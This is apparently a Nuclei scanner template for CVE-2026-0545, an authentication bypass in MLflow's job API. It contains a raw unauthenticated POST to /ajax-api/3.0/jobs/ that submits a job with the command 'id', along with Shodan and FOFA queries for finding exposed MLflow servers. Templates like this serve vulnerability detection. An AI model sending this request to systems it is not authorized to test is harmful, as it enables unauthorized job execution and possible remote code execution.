id: CVE-2026-0545

info:
  name: MLflow Job API - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.
  impact: |
    Unauthenticated attackers can execute jobs remotely, potentially leading to remote code execution, denial of service, or data exposure.
  remediation: |
    Update to the latest version with fixed authentication enforcement on job endpoints.
  reference:
    - https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0545
    - https://github.com/mlflow/mlflow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-0545
    epss-score: 0.04392
    epss-percentile: 0.90346
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,auth-bypass

http:
  - raw:
      - |
        POST /ajax-api/3.0/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"job_name":"run_task","params":{"command":"id"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"job_id\":", "\"job_name\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100bdab3540222f5f0ebc4819d5a5288fae868fb08192d74c809becc1b5150cc015022023f8a78850a3ba40c177b79bde4dc36e56c3334fce54bc79be2940e275592c7f:922c64590222798bb761d5b6d8e72950